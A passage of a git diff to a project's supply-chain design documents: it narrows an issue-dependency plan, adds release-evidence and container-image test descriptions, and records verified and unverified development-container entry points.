diagnostic +checks at the actual handoff. Static YAML assertions alone cannot establish +credential isolation or cryptographic verification. Record exact tool/platform/ +policy identities and retained evidence. This documentation change executes none +of those release acceptance tests and does not claim implementation readiness. + +Non-goals: runtime SDL/OCI/module resolution, published `contracts/schemas/`, +application controllers/DTOs/services/repositories, research/run provenance, +new generic evidence storage, a custom downloader or retry engine, release-please +version/changelog changes, full #1227 recovery, or bit-for-bit reproducibility. +The similarly named `raes_contracts` provenance models and +`tools/evidence_bundle_index.py` have domain/research authority and must not be +repurposed as release schemas. Do not treat an SBOM as a vulnerability verdict, +an attestation as code safety, or a lock digest as evidence of actual execution. diff --git a/docs/decisions/package-artifacts/migration.md b/docs/decisions/package-artifacts/migration.md index 09d368b16..2d213cc55 100644 --- a/docs/decisions/package-artifacts/migration.md +++ b/docs/decisions/package-artifacts/migration.md @@ -1,194 +1,74 @@ -# Migration and native issue-dependency graph - -## Design gate and execution rules - -[Issue #1168](https://github.com/OpenRAE/rae/issues/1168) is the design gate for -[milestone 69](https://github.com/OpenRAE/rae/milestone/69). Merged PR #1229 for -issue #1168 records maintainer acceptance of ADR-106, ADR-107, and the concrete -design set. That acceptance unblocks implementation; it does not claim the -migration is already deployed. - -Every open implementation issue below belongs to milestone 69 and has native -GitHub `blocked_by` relationships, including a direct #1168 gate. Edges mean -**prerequisite -> dependent**. Native relationships order repository work; -they do not technically prevent code edits or workflow execution. Maintainers -must honor design acceptance, and release jobs must enforce runtime admission -independently of GitHub issue status. - -The small changes are intentionally reviewable separately: data authority, -bootstrap, network delegation, local cache safety, consumer migrations, -storage, offline export, evidence, publication and operations. None authorizes -a purchase, production deployment, package release, protected-branch merge or -feature-PR merge without the applicable user approval. - -## Implementation issues and full immediate prerequisites - -This table records **all immediate blockers**, including redundant direct -design/authority gates where visibility is useful. The native API is the -execution authority; update this record and GitHub together if the program -changes. Each issue body carries its own acceptance criteria and test ids from -[operations](operations.md). - -| Issue | Reviewable outcome / owner | Immediate blockers | +# Migration and native issue dependencies + +## Current scope — #1313 + +The original #1168 design was accepted in #1229. The #1313 amendments to +[ADR-106](../adrs/adr-106-developer-package-and-artifact-management.md) and +[ADR-107](../adrs/adr-107-artifact-promotion-and-release-admission.md) narrow that +design to connected local development, GitHub-hosted CI and ordinary release +byte identity/recovery. Historical service/disconnected prescriptions elsewhere +in this design set do not reintroduce cancelled work. + +The following state was checked against GitHub's native dependency API on +2026-09-17. Immediate blockers are listed for active work; closed issues retain +historical edges, not outstanding delivery obligations. + +| Issue | Current outcome or scope | State | Immediate blockers | +|---|---|---|---| +| #1224 | Enterprise intake/distribution/promotion service | Cancelled, not planned | None active | +| #1225 | Complete disconnected development bundles | Cancelled, not planned | None active | +| #1228 | Enterprise retention/revocation/DR/load qualification | Cancelled, not planned | None active | +| #1227 | Publish tested bytes and recover partial publication | Open | #1110, #1125, #1218, #1226 (all completed) | +| #684 | Actual public PyPI/GitHub publication acceptance | Open | #1110, #1125 (completed), #1227 | +| #1277 | Verify and document a small supported set of container entry points | Open | None | +| #1313 | Simplify merged tooling without weakening useful guarantees | This change | Not a blocker for #1227, #684 or #1277 | +| #935 | Concurrent CI with complete coverage | Completed | Historical #1168, #1219, #839 | + +The active release chain is #1227 → #684. No open issue depends on cancelled +#1224, #1225 or #1228, and #1313 has no native blocking edges. The closed +#1224 → #1225 → #1228 edges remain audit history only. + +## Retained implementation and cleanup + +| Landed work | Retain | Simplify in #1313 | |---|---|---| -| [#1216](https://github.com/OpenRAE/rae/issues/1216) | Reviewed input/platform locks, policy and drift checks; Tooling/Security | #1168 | -| [#1217](https://github.com/OpenRAE/rae/issues/1217) | Native bootstrap/client/host qualification; Tooling/Platform/Proof | #1168, #1216 | -| [#1218](https://github.com/OpenRAE/rae/issues/1218) | Frozen Python tool/build/smoke closure; Tooling/Release | #1168, #1216, #1217 | -| [#1137](https://github.com/OpenRAE/rae/issues/1137) | Replace four-tool transport and delete `http_download.py`; Tooling/Security | #1168, #1216, #1217 | -| [#1219](https://github.com/OpenRAE/rae/issues/1219) | Verified local installations, concurrency and crash safety; Tooling/Security | #1168, #1216, #1137 | -| [#1220](https://github.com/OpenRAE/rae/issues/1220) | Isabelle native-client/local acquisition and tree admission; Proof/Tooling | #1168, #1217, #1219 | -| [#1221](https://github.com/OpenRAE/rae/issues/1221) | Raw vocabulary snapshots through maintained clients; Semantics/Tooling | #1168, #1216, #1137 | -| [#1222](https://github.com/OpenRAE/rae/issues/1222) | VM/native/live-runner input closure; Backend/Platform | #1168, #1217, #1218, #1137 | -| [#1223](https://github.com/OpenRAE/rae/issues/1223) | OCI mirror/import with required-container identity; Backend/Release | #1168, #1216, #1217, #1110 | -| [#839](https://github.com/OpenRAE/rae/issues/839) | Action/payload/credential admission and Scorecard evidence; Security/Tooling | #1168, #1216, #1217 | -| [#1224](https://github.com/OpenRAE/rae/issues/1224) | Verified intake and immutable distribution interfaces; Platform/Tooling/Security | #1168, #1216, #1217, #1218, #1223, #839 | -| [#1225](https://github.com/OpenRAE/rae/issues/1225) | Complete disconnected export/import and preflight; Tooling/Platform/Security | #1168, #1218, #1219, #1220, #1221, #1222, #1223, #1224 | -| [#1226](https://github.com/OpenRAE/rae/issues/1226) | Output-bound SBOM and build provenance; Release/Security | #1168, #1216, #1218, #839 | -| [#1227](https://github.com/OpenRAE/rae/issues/1227) | Durable release artifact admission and byte-preserving recovery; Release/Security | #1168, #1110, #1125, #1218, #1223, #1226, #1224, #839 | -| [#1228](https://github.com/OpenRAE/rae/issues/1228) | Retention/revocation/DR/load and profile qualification; Platform/Security/Tooling/Release | #1168, #1225, #1227, #1219 | -| [#935](https://github.com/OpenRAE/rae/issues/935) | Faster concurrent CI with complete coverage and admitted inputs; Tooling | #1168, #1219, #839 | -| [#684](https://github.com/OpenRAE/rae/issues/684) | External controls and actual PyPI/GitHub consumption acceptance; Release | #1168, #1110, #1125, #1227, #1228 | - -```mermaid -flowchart TD - D[1168 Accept architecture] --> M[1216 Locks and policy] - M --> B[1217 Bootstrap] - B --> P[1218 Python closure] - B --> T[1137 Commodity acquisition] - B --> A[839 Action admission] - T --> C[1219 Local cache safety] - C --> F[1220 Proof inputs] - T --> V[1221 Vocabulary inputs] - P --> L[1222 Live-runner inputs] - T --> L - B --> O[1223 OCI inputs] - I[1110 Required container gate - landed] --> O - P --> R[1224 Intake and distribution] - O --> R - A --> R - R --> X[1225 Offline export and import] - F --> X - V --> X - L --> X - P --> S[1226 SBOM and provenance] - A --> S - S --> H[1227 Artifact admission] - R --> H - O --> H - E[1125 Exact-SHA gate - landed] --> H - I --> H - H --> Q[1228 Operations qualification] - X --> Q - Q --> Z[684 Publication acceptance] - H --> Z - C --> J[935 CI concurrency and feedback] - A --> J -``` - -The diagram omits redundant edges for readability; the table lists the complete -immediate graph. #1110 and #1125 are closed, already shipped prerequisites in -the same milestone. They retain their historical native #1168 links and their -native blocks on #684. Do not reopen them or claim this design preceded their -implementation. New #1223/#1227 work preserves and extends their controls. - -## Incumbent implementation disposition - -| Inventory surface | Disposition and owning issue | -|---|---| -| I01–I04 Python project/tools/build/bootstrap | Keep uv and project resolution; #1216 authority, #1217 bootstrap, #1218 transitive/build/smoke locks. Replace uncontrolled tool/build resolution, not the Python client | -| I05–I08 generic tools | #1137 removes HTTP helper/callers and live checksum authority; #1219 governs installed cache safety. Preserve OSV's stronger controls and every existing supported platform | -| I09–I10 proof/archive/native prerequisites | #1217 qualifies host/client, #1220 removes custom transfer and marker-only admission. Keep proof sandbox and large archive identity | -| I11–I12 OCI and host runtimes | #1223 preserves landed #1110 required behavior and adds admitted mirrors/pre-seeding/concurrent resources; #1217 records host/daemon capability | -| I13 live AWS/VM setup | #1222 removes unverified VM downloads, suppressed failures, pipe-to-shell bootstrap and unfrozen native/Python setup; no rewrite of AWS API orchestration | -| I14 vocabulary remote sources | #1221 replaces network paths, retains canonical semantic checks and records raw source closure | -| I15 checked-in styles/corpus | Retain reviewed Git sources, source closure via #1216 and output membership via #1218/#1227. No external style service is introduced | -| I16 and A01–A07 source/actions/workflows/apps | #1216/#1217/#839 govern executable inputs and transitive acquisition; platform-managed apps remain explicitly external; #935 covers concurrent CI integration | -| O01 release distributions | #1218 constrains builds/smokes; #1227 admits exact output bytes; #684 tests real consumers | -| O02 missing SBOM/provenance | #1226 adds generation and subject binding; #1227/#1228 retain/admit them | -| O03 Releases/PyPI | Retain release-please, #1110/#1125, OIDC and separate jobs; #1227 removes overwrite recovery and expiring-artifact dependence; #684 finishes external setup/consumption | -| O04 docs delivery | Keep Pages/RTD/Sphinx; #1217/#1218/#839 qualify build/client/action inputs. Site artifacts stay derived delivery output, not a package repository | -| C01–C02 tool/Python/proof caches | Native uv cache maintenance; #1219/#1220 verified installations and immutable seeds; #1225 raw-object export instead of cache copying | -| C03 reports | #935 preserves complete coverage handoff; #1226/#1227 distinguish ephemeral diagnostics from retained release evidence; #1228 retention | -| C04 image/test/cloud scratch | #1223/#1222 isolate runtime resources; #1228 GC/capacity; runtime module caches remain in their domain | -| S01 security data | #1225/#1228 govern dated offline database/status exports and freshness; binary digest never claims up-to-date vulnerability knowledge | -| S02 live APIs | Retain services and owners; #1225 explicitly reports them unevaluated offline. HTTP used for non-acquisition governance/runtime APIs is outside the production acquisition prohibition | -| D01 runtime-domain packages/modules | Excluded from this migration. Separate authorities and storage namespaces; no development installer may reuse the runtime OCI HTTP resolver | - -`tools/http_download.py` is deleted by #1137. Isabelle's HTTP imports and -download/fallback implementation are removed by #1220. Vocabulary remote fetch -code is removed by #1221. Live-runner scripts use maintained clients already -but their unsafe bootstrap/identity/failure behavior is replaced in #1222. -The final #1228 audit checks imports, call sites, subprocess clients, shell -scripts, workflow actions and setup instructions. It cannot pass merely -because one filename disappeared. - -PR [#1140](https://github.com/OpenRAE/rae/pull/1140) was closed without merging. -Its custom `release_download.py`, low-level socket/framing/redirect/retry code -and compatibility transport facade are rejected. Installer integrity test -cases may inform acceptance tests when they exercise the retained contract; -tests devoted to preserving its protocol implementation must not be carried -forward. This is a recorded disposition, not a request to close or merge that PR. - -## Existing issue scope audit - -The complete open-issue title list and the relevant issue bodies were reviewed -for development/acquisition/publication scope on 2026-09-05. Existing open -#1137, #839 and #684 already belonged to -milestone 69 and had native #1168 blockers. Their bodies now reflect the -architecture and current repository state. #935 is moved into this milestone -and blocked on the design, concurrent cache admission and action policy because -its CI shards share inputs and coverage artifacts; its original coverage and -latency acceptance criteria are preserved. - -Other nearby work stays in its own scope: - -- #1021 and #1023 are repository/product identity migrations. Current canonical - repository/distribution identity is already OpenRAE/rae and `raes`; #684 owns - verification of publisher/endpoint identity at publication. Their broader - rename/docs/app work does not depend on installing a package client. -- #1144 governs PR bodies/closing-issue audits, not acquisition. It remains an - independent policy check. #1167 is general status-prose reconciliation. -- #974–#976 concern proof-model checking/reproduction/documentation, not the - delivery mechanism of the already selected Isabelle input. #1220 owns that - mechanism. A later new proof tool must enter #1216's policy before use. -- #717 concerns live backend certification. Its input tooling is covered by - #1222; workload semantics and certification acceptance remain independent. -- #1202, #1205, #1208 and other scenario/runtime/profile publication issues are - domain artifacts under D01, not developer-package implementation issues. -- #954/#949 and env-pack companion boundaries concern downstream domain/content - publication; no shared developer integrity authority is assumed. -- #648 (Packaging & Supply Chain program), #1110, #1125 and #1134 are closed - historical/completed work. Existing accepted behavior is preserved; only - #1110/#1125 supply direct release prerequisites in this graph. - -## Cutover, rollback and final acceptance - -Land locks and bootstrap qualification before migrating a consumer. Then -replace each old path in its owning issue; do not add a second transport and -leave the old one as an implicit fallback. At each cutover, run the owning -tests against current pinned bytes plus deliberate corrupt/missing inputs. -Cold/warm, pre-seeded and concurrent behavior must be distinguishable in -evidence. New local cache namespaces do not overwrite unrelated user state; -legacy entries can be imported only after full verification. - -Client rollback selects a previous *admissible* native client/profile or -read-only seed, keeping reviewed hashes and required tests. It cannot restore -custom HTTP, live checksum selection, a revoked digest, an untrusted cache or -mutable release publication. Storage rollback restores original immutable -bytes and authenticated records. Publication rollback follows ADR-107's -destination-query/same-byte recovery, never deleting/replacing a live version -to conceal a mismatch. - -#1228 closes only with the operations matrix and complete acquisition audit. -#684 then records authorized end-to-end release consumption. The milestone -finishes only when all its implementation issues, including #935, meet their -own acceptance criteria. Design completion needs no release or production -deployment and must not mark those later guarantees as delivered. - -To audit native edges, use GitHub's issue-dependency API for each table row: -`GET /repos/OpenRAE/rae/issues/{number}/dependencies/blocked_by`, and verify -the reverse `blocking` lists, issue states and milestone numbers. Compute -acyclicity and compare the complete expected edge set, not only prose matches. -The [GitHub API](https://docs.github.com/en/rest/issues/issue-dependencies) -uses the blocking issue's numeric **id** when creating an edge, which is -distinct from its visible issue number. +| #1216, #1218 | Reviewed artifact hashes; frozen project/tool/build resolution; installed wheel/sdist smokes | Selection no longer evaluates unrelated workflows, containers or qualification records; remove site accounting, duplicate version tables and unused tool exports | +| #1217, #1268 | Exact bootstrap bytes and honest platform support; patched dependencies | Connected bootstrap; TLS fixture group opt-in; qualification only on relevant inputs/manual dispatch; no renewed policy hash | +| #1137 | Maintained curl and reviewed checksums | No custom HTTP stack restored | +| #1219, #1220 | Extraction safety, private ownership, locks, atomic publication, crash recovery, full proof-tree integrity and sandbox | Remove shared-seed and filesystem-type qualification machinery | +| #1221 | Raw acquisition and incumbent vocabulary semantic identity | No semantic authority changes | +| #1222 | Exact VM owner/name, verified guest/bootstrap bytes, authenticated SSH, host security and real backend tests | Signed native repositories and hash-pinned online Python installation; no full local wheelhouse or snapshot prerequisite | +| #1223, #1110 | Required digest-pinned real-container lane, unique names and teardown | Direct native pull, no same-job export/import or mirror/pre-seeded distribution mode | +| #839 | Action source pins, credential isolation, actual publishing permissions | Native workflows/updater config own execution; no parallel expression/use-site/Dependabot model | +| #1238 | Optional non-root container and tested setup lifecycle | Native Dockerfile owns packages; no immutable snapshot condition for future arm64 qualification | +| #1226, #1125 | Useful SBOM/provenance, trusted producer and exact source/output identity | Release input inventory follows native release workflow calls; no enterprise storage gate | + +Intel Mac support is not restored merely by separating the TLS fixture: +the runtime still requires patched dependencies and a supported binary closure. +No vulnerable downgrade or untested platform is promised. #1277 remains the +owner of client-entry-point acceptance, not an enterprise qualification program. + +## Ownership, cutover and verification + +[MAINTAINERS.md](../../../MAINTAINERS.md) names one accountable maintainer. +Responsibility labels are not independent humans; there is no mandatory deputy. +Read-only candidate jobs and privileged publishers remain separate machine +trust boundaries. + +Each removal keeps the useful behavior tests of its owning consumer. Verify +selected-input isolation and refusals, native workflow pins/permissions, +trigger inclusion/exclusion, maintained downloads, private installer +concurrency/crashes/corruption, frozen builds and installed smokes, proof +isolation and affected real-container behavior. Preserve #935's canonical +parallel graph and coverage handoff. No performance or availability improvement +is claimed without measurement. + +AWS operations, actual publication, protected-branch and PR merges are not +authorized by this cleanup. Required unavailable inputs remain failures; +partial release recovery must preserve original bytes, not rebuild or overwrite +a published version. #1227 and #684 retain their own delivery evidence. + +The original inventory, alternatives and accepted ADR bodies remain explicitly +historical. Native dependency changes must be reconciled with this document; +use `GET /repos/OpenRAE/rae/issues/{number}/dependencies/blocked_by` and +`blocking`, not a prose graph as an execution authority. diff --git a/docs/decisions/package-artifacts/operations.md b/docs/decisions/package-artifacts/operations.md index 5b1de31f9..a5bdb9dcd 100644 --- a/docs/decisions/package-artifacts/operations.md +++ b/docs/decisions/package-artifacts/operations.md @@ -1,5 +1,49 @@ # Operations, failure behavior and acceptance +## Current maintenance and acceptance — #1313 + +The accountable owner is the single maintainer in +[MAINTAINERS.md](../../../MAINTAINERS.md). No deputy or independent human review +is required. Repository review and protected publication permissions remain +distinct from job execution privileges. + +Connected tools fail visibly on unavailable or corrupt input; a cache hit never +changes expected hashes. Native curl/uv/container clients own networking. +Private installers retain extraction limits, ownership/no-follow checks, +per-identity locks, atomic publication and crash recovery. Shared immutable +seed import and filesystem-name allowlisting are retired. Filesystems must +actually support the required locking, rename and synchronization primitives; +an I/O failure is not converted to successful qualification. + +The proof installation still hashes the complete admitted tree on each use. +The same user can change read-only modes or replace cached bytes, so a marker, +mtime or mode check is not an integrity proof. The existing sandbox and +resource limits remain. No speed improvement or stronger tamper boundary is +claimed. + +Run focused installer concurrency/crash/corruption tests, selected-input +regressions, maintained-client integration tests, frozen builds and installed +smokes, and the affected proof/container lanes. Component CI is path-filtered +and manually dispatchable; the canonical CI graph and coverage remain intact. +Reports describe actual passed, failed and unavailable cases rather than +renewing a global policy hash. Platform support needs actual tests, not a +native-package snapshot service. + +Release byte identity, standard SBOM/provenance and trusted producer checks +remain useful. The same tested bytes must reach each publisher; #1227 owns +partial-publication recovery and retained original release outputs. #684 owns +real publication acceptance. No new distribution service, multi-copy backup +guarantee, status freshness service, 100-client load target, quarterly drill, +retention/GC service, or blanket release gate is introduced. + +The following original operations program is history, not an active checklist. + +## Historical design — superseded where inconsistent + +The remainder records the earlier design. It is not current acceptance policy; +the #1313 ADR amendments and current scope above take precedence. + + ## Ownership and activation This is an implementation acceptance contract. Targets below are proposed @@ -264,6 +308,60 @@ fault-injection proxy. Test fixture protocol handling is not a production acquisition implementation. Maintain a few meaningful end-to-end cases against the actual clients; mocks of argv alone cannot prove the profile's behavior. +### Issue #1226 output-bound release evidence + +`.github/workflows/release-please.yml` generates, signs, admits and retains the +release evidence. `tools/release_evidence.py` is the entry point; +`release_evidence_sbom.py` reconciles the runtime closure, +`release_evidence_documents.py` renders the documents, +`release_evidence_verifier.py` bounds the maintained verifier, and +`release_evidence_admission.py` decides admission. + +Exact identities: CycloneDX 1.6 documents and the `raes-build-inventory/v1` and +`raes-release-evidence/v1` records; `actions/attest-build-provenance` +`4d101475d8b20a2381f78447822ac1eab6504dd8` (v4.2.2) over +`actions/attest` `508db95dd578ae2727ebd6217d5ba78e4fbda05d`; verification through +`gh attestation verify` pinned to the producer identity in +`implementations/tooling/admission-policy.json`; closure profile +`public-linux-x86_64-cp312-all-extras` on `public-ubuntu-24.04-x86_64`. +Evidence binds the `tooling_policy_sha256` aggregate alongside separately named +raw project-lock, tool-lock and build-constraint digests. + +- **T03**: `test_issue_1226_runtime_closure.py` drives the declared CPython + 3.11-3.14 / ABI / extras qualification of the reconciliation. The base closure + is resolved independently of extras, `dev` and `docs` components are labelled + rather than recorded as unconditional runtime, and inconsistent metadata fails + instead of omitting an edge. `test_issue_1226_target_markers.py` binds each + reviewed target's full marker environment, so a cross-OS or patch-sensitive + projection no longer inherits the generator host. +- **T04**: `test_issue_1226_release_evidence_cli.py` and + `test_release_workflows.py` prove the credential isolation at the real + boundary rather than by reading workflow YAML shape. The approved producer set + comes from reviewed policy, so a foreign signer cannot approve itself; the + build job holds no OIDC, attestation, promotion or publishing authority; and + the signer holds no publication identity and checks out nothing. +- **T19**: `test_issue_1226_release_admission.py` covers missing, extra and + replaced wheel, sdist or SBOM, an SBOM naming a foreign subject, a substituted + input inventory, a sidecar swap, a run/attempt replay, a drifted policy hash, + a missing attestation, a foreign producer, a valid signature from the wrong + workflow, and malformed or oversized evidence. Each asserts a distinct stable + failure class and that admission refuses before any publisher obtains usable + output. `test_issue_1226_attestation_verifier.py` covers the verifier + boundary: an empty, ambiguous, malformed or oversized verdict never becomes + admission. + +Retention: the SBOMs, build inventory and evidence index are attached to the +GitHub Release and digest-compared on readback, so they outlive the seven-day +Actions artifact retention. Retention owner: Release. Distribution attachment +no longer overwrites: #1227 replaced `--clobber` with per-asset reconciliation, +so an existing asset is byte-compared and a same-name mismatch fails visibly. +Durable admission-bundle storage (#1224) and operations qualification (#1228) +were cancelled by the milestone scope audit and are outside this issue. + +This record describes implemented repository behavior. The release-time +execution of T03/T04/T19 against a real tagged release is observed when the next +release runs; the cases above execute in the repository verification graph. + ### Issue #1217 bootstrap qualification evidence The v2 profile authority and `bootstrap-qualification.yml` bind T01, T02, T03, @@ -298,6 +396,67 @@ evidence artifact under the exact delivery SHA. setup planning. It never invokes `sudo`, shell evaluation, repository/key installation, pipe-to-shell acquisition or host-security reconfiguration. +### Issue #1223 OCI mirror and pre-seed evidence + +The release-test container input is reviewed lock data rather than a literal in +a test file. `release-test-alpine` records the reviewed multi-platform index +`sha256:d9e853e8…` once, and each required platform records the selected +manifest, config, layer and uncompressed layer identities beneath it. The +graph-bearing admission policy `oci-graph-v1` is the explicit opt-in: an image +that references it must carry a complete graph on every platform, and an image +that does not reference it may not declare one at all. Index-only inputs such +as the Scorecard action image and the development base image keep `oci-input-v1` +unchanged. + +Linux x86_64 and Linux arm64 are the required platforms for retention, mirroring +and export. The release lane still executes on Linux x86_64 only; arm64 daemon +execution would need evidence this repository does not have. + +- T10: acquisition location is a closed source class. `preseeded` performs no + acquisition at all, `mirror` pulls only from the explicitly configured + reviewed mirror, and neither falls back to the public origin on failure. A + mirror value carrying a scheme, credentials, query, tag or digest is refused + before any client runs, and a mirror endpoint never reaches argv beyond the + one pull, a diagnostic, or retained evidence. +- T11/T17: `tools/oci_release_image.py export` copies every reviewed platform + with `skopeo copy --all --preserve-digests`, and `import` admits the exported + layout offline before the runtime is touched. The release job runs both before + the required lane, which then runs `RAES_OCI_SOURCE_CLASS=preseeded` and + performs no pull. Required-mode failure for a missing runtime or input, zero + collected tests and any skip is unchanged from #1110. +- T13: `tools/oci_image_layout.py` re-hashes every object named by the lock from + the opened file. A missing platform manifest, a mutated layer byte at the + locked size, a layout whose entry point is not the reviewed index, a required + platform claiming another platform's manifest, a symlinked blob and any blob + outside the reviewed index's closure are each rejected with a stable reason + code that never echoes layout content. No network call and no execution of + imported content precedes that admission. +- T07: concurrent real-container runs no longer contend for one native name. + Each run generates an opaque bounded namespace, the driver commits every + container and network name to it, and ownership is still proven by the + `raes.workspace`/`raes.address` labels and daemon readback rather than by a + name prefix. Teardown runs on the success and every failure path, removes + exactly the addresses the driver reports as realized, and then asks the + runtime whether anything still carries this run's workspace label. That last + check exists because forced removal is idempotent: tearing down an address + that was never realized reports success while the real resource leaks, which + is how the previous harness silently left a container behind on every + conformance run. A failed teardown and a surviving resource are both reported + failures, and the survivor query names this run's exact workspace so a + concurrent run's resources are never visible to it. +- Runtime identity: the daemon readback compares the reviewed architecture, OS + and uncompressed layer identities. The daemon's image id is deliberately not + used, because it means the config digest under one storage driver and the + pulled manifest digest under another, while the layer identities are intrinsic + to the content and survive a registry pull, an offline import and either + driver. An integrity mismatch fails in optional and required mode alike; only + an availability failure may skip an optional local run. + +This evidence covers the OCI slices of T07, T10, T11, T13 and T17 only. It makes +no claim about generic tool, Python, proof-runtime, promotion, signing or +publisher controls, and no claim about registries, runtimes or architectures +outside the qualified profile above. + ### Issue #1220 proof input evidence Isabelle no longer contains repository HTTP transport, mirror loops, a shared @@ -309,6 +468,10 @@ client with the separately qualified `large-object` budget: exact size, a retries, and a wall deadline that covers the retry window. The second is an explicit `--local-input` copied from its opened inode. An alternate approved same-byte mirror is an operator choice (`--locator-ref`) in a new invocation. +The bootstrap `fetch-inputs` command accepts the same explicit locator choice +when one artifact is selected. Canonical CI selects +`official-isabelle-cambridge-mirror`; it still verifies the archive against the +unchanged lock size and SHA-256 before carrying it to the proof job. `tools/verified_tree_installation.py` extends #1219's transaction to a multi-gigabyte tree. The lock's `installed_tree` binds the SHA-256 of the diff --git a/docs/explain/development-container.md b/docs/explain/development-container.md index 55c7a0bc0..2fd806298 100644 --- a/docs/explain/development-container.md +++ b/docs/explain/development-container.md @@ -1,10 +1,12 @@ # Development container -The repository ships a ready-to-use development container. Open the repository -in it and, after a few minutes of automatic setup, you have everything a RAES -maintainer needs: the locked Python and uv, both project environments, the -repository's CLI tools, git hooks, and an editor already pointed at the right -interpreter and formatter. There are no setup commands to run. +The repository ships an optional connected development container with locked +Python/uv, frozen project and tooling environments, CLI tools and git hooks. +The bootstrap workflow exercises an x86_64 Docker build and repeated lifecycle +setup. Each start route below is labelled verified or unverified. The verified +entry points section records the host, client versions and results behind those +labels. A route is never labelled verified because a client can read +`devcontainer.json`. The container is optional. Native setup, described in [Contribute to RAES](../../CONTRIBUTING.md), stays fully supported. @@ -13,13 +15,17 @@ The container is optional. Native setup, described in Pick one: -- **VS Code:** install the Dev Containers extension, open the repository, and - choose **Reopen in Container**. -- **GitHub Codespaces:** on the repository page choose **Code**, then - **Codespaces**, then **Create codespace**. The configuration asks for a +- **Dev Containers CLI (verified):** `devcontainer up --workspace-folder .`, + then `devcontainer exec --workspace-folder . bash`. +- **Docker without a dev-container client (verified):** see the section on + running Docker or Podman directly. +- **VS Code (unverified):** install the Dev Containers extension, open the + repository, and choose **Reopen in Container**. The extension reads the same + `devcontainer.json`, and its interpreter and formatter paths resolve inside + the built container. Nobody has exercised the editor route itself. +- **GitHub Codespaces (unverified):** on the repository page choose **Code**, + then **Codespaces**, then **Create codespace**. The configuration asks for a 4-core, 16 GB machine. -- **Dev Containers CLI:** `devcontainer up --workspace-folder .`, then - `devcontainer exec --workspace-folder . bash`. The first open builds the image and runs the repository setup. Setup prints each step and finishes with `Ready.`: @@ -29,10 +35,10 @@ step and finishes with `Ready.`: 3. syncs `implementations/python` and `implementations/tooling/python` from their `uv.lock` files; 4. downloads, verifies, and runs Conftest, Gitleaks, OSV-Scanner, and Vale; -5. installs the repository's pre-commit and pre-push hooks. +5. installs the repository's file-hygiene and secrets pre-commit hook. Reopening the container runs nothing again. Rebuilding it reruns setup against -the cache volume in about a minute. If setup fails, the message names the step +the cache volume; duration depends on the host and available inputs. If setup fails, the message names the step and the reason, and the container stays usable for investigation. ## Start working @@ -42,43 +48,83 @@ its path, alongside `git`, `gh`, `ssh`, `gpg`, `make`, `jq`, `less`, and `nano`. ```shell nox -l # list every check -nox -s verify-changed # the change-aware gate; the pre-push hook runs it +nox -s verify-changed # optional change-aware local gate nox -s tests # unit tests make policy # repository policy ``` -Committing runs the pre-commit hook and pushing runs `verify-changed`, exactly -as on a native setup. +Committing runs file-scoped hygiene and secrets checks, as on a native setup. +There is no configured pre-push hook. CI/CD runs the full validation and test +suites before merge. ## Git, signing, and GitHub -- **VS Code** copies your git identity into the container and forwards your SSH - agent, git credential helper, and GPG agent. SSH remotes and signed commits - work when they work on your host; load your SSH key into the host's agent - first. -- **Codespaces** authenticates git and signs commits itself when GPG - verification is enabled for your account. +Ordinary Git use works in the verified routes. Reading history, staging files +and committing all run against the mounted checkout. + +- **Dev Containers CLI and plain Docker (verified):** the container carries no + Git identity of its own. Set `user.name` and `user.email` in the checkout + before you commit, or let your client supply them. +- **VS Code (unverified):** the extension is documented to copy your Git + identity into the container and to forward your SSH agent, credential helper + and GPG agent. This repository has not exercised that path, so treat signing + and SSH remotes as untested here. +- **Codespaces (unverified):** Codespaces is documented to authenticate Git and + sign commits itself. This repository has not exercised that path. - **GitHub CLI:** run `gh auth login` once. The container stores no token. +No authentication or signing matrix is claimed. The verified routes record only +what they observed. + ## Supported platforms The container is a **Linux x86_64 (`linux/amd64`)** image, qualified by a clean native build in continuous integration. Every build stage pins the reviewed `linux/amd64` base manifest, so any client builds the same image. -On **Apple silicon** and other arm64 hosts, Docker Desktop runs that same image -under emulation (Rosetta or QEMU), with no extra configuration. Expect builds and test -runs to be slower than native. A native arm64 image isn't offered because Ubuntu -publishes immutable package snapshots only for x86_64; building arm64 from the -moving ports archive would give up reproducible images. An arm64 variant can be -added as its own reviewed host profile once an immutable package source -exists. +Native arm64 support and client/emulation behavior are not newly qualified by +this change. A native arm64 variant needs a reviewed image/interpreter tuple +and actual build/setup tests, **not** an immutable-package-snapshot service. +The current image remains linux/amd64. Native arm64, client emulation, +Codespaces and rootless Podman stay unverified until a run is recorded. + +## Verified entry points + +These results come from a single host on one day. They record what ran. They +are not a support matrix, and they do not qualify another client or platform. + +- Source revision `803257b2`. +- Host: Ubuntu 24.04.4 LTS, `x86_64`, kernel 6.8.0-117. +- Container runtime: Docker 29.5.0. Client: Dev Containers CLI 0.89.0. + +| Route | Result | +| --- | --- | +| `devcontainer up`, then `devcontainer exec` | Setup printed the five steps and finished `Ready. Git hooks: installed.` | +| `docker build` and `docker run`, as shown below | Setup finished `Ready. Git hooks: installed.` | +| VS Code, Codespaces, Apple Silicon emulation, rootless Podman | Not exercised. The host had no editor client, no display and no Podman. | + +Inside the container the checkout was writable and owned by `raes` at uid 1000. +`uv`, `python`, `nox`, `pre-commit`, `ruff`, `git`, `gh`, `ssh`, `gpg`, `make`, +`jq`, `less` and `nano` were all on the path. The run recorded Python 3.14.7, +uv 0.12.4, ruff 0.15.9, nox 2026.4.10, git 2.43.0 and gh 2.45.0. It also +recorded Conftest 0.68.0, Gitleaks 8.30.1, OSV-Scanner 2.4.0 and Vale 3.15.2. +The interpreter and formatter paths that `devcontainer.json` gives an editor +all resolved. + +A clean commit passed the installed hook. A commit that broke file hygiene was +repaired by the hook and stopped, as it does natively. The container held no +Docker or Podman client, no daemon socket and no `sudo`. + +`nox -s verify-changed` ran in the container against a documentation change and +passed every selected lane in about seven minutes. That included the policy, +lint, contracts, test and docs lanes. Starting the container a second time ran +no setup steps again, as this page describes. ## What is in the image - Ubuntu 24.04, pinned by its `linux/amd64` manifest digest. -- Native packages from one immutable Ubuntu snapshot, authenticated by the - Ubuntu archive keyring: the bootstrap prerequisites (`git`, `curl`, `gh`, +- Native packages from the base image's signed Ubuntu repositories, authenticated + by the Ubuntu archive keyring: the bootstrap prerequisites (`git`, `curl`, `gh`, `python3` with `jsonschema`, `packaging`, and `yaml`, CA certificates) and maintainer tools (`openssh-client`, `gnupg`, `less`, `nano`, `make`, `jq`, `procps`, `bash-completion`). @@ -89,14 +135,12 @@ environment, or payload cache. uv, CPython, and the CLI tools are downloaded into the cache volume by the repository's verified installers, and uv is forbidden from downloading any interpreter the lock did not admit. -Every version, digest, package, and architecture comes from 